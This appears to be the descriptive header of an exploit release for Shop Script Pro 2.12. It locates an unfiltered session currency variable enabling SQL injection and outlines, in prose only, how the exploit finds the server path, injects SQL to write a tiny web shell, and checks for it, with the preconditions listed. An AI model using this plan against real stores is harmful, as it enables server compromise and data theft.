 VENDOR
    Shop Script Pro 2.12
    (maybe other versions vulnerable too)

 VULN. DESCRIPTION
    Look in index.php at line 101.
    Variable $current_currency is set from $_SESSION["current_currency"]
    which is set in "/core_functions/currency_functions.php" in function
    currSetCurrentCurrency() at line 17 via "/includes/change_currency.php"
    at line 13. This variable is not filtered.

 EXPLOIT WORK
    First exploit looks for file "linkpoint.php" in
    hope to find full server path. If not found, then it bruteforces
    those paths, otherwise will use found one.
    Also at this time session is being set.
    Exploit then sends POST request with SQL-Injection that tries to
    upload tiny shell. And finally checks for shell.

 REQUIREMENTS
    1. MySQL must have rights to write to file
    2. Full server path should be known
    3. magic_quotes_gpc=off
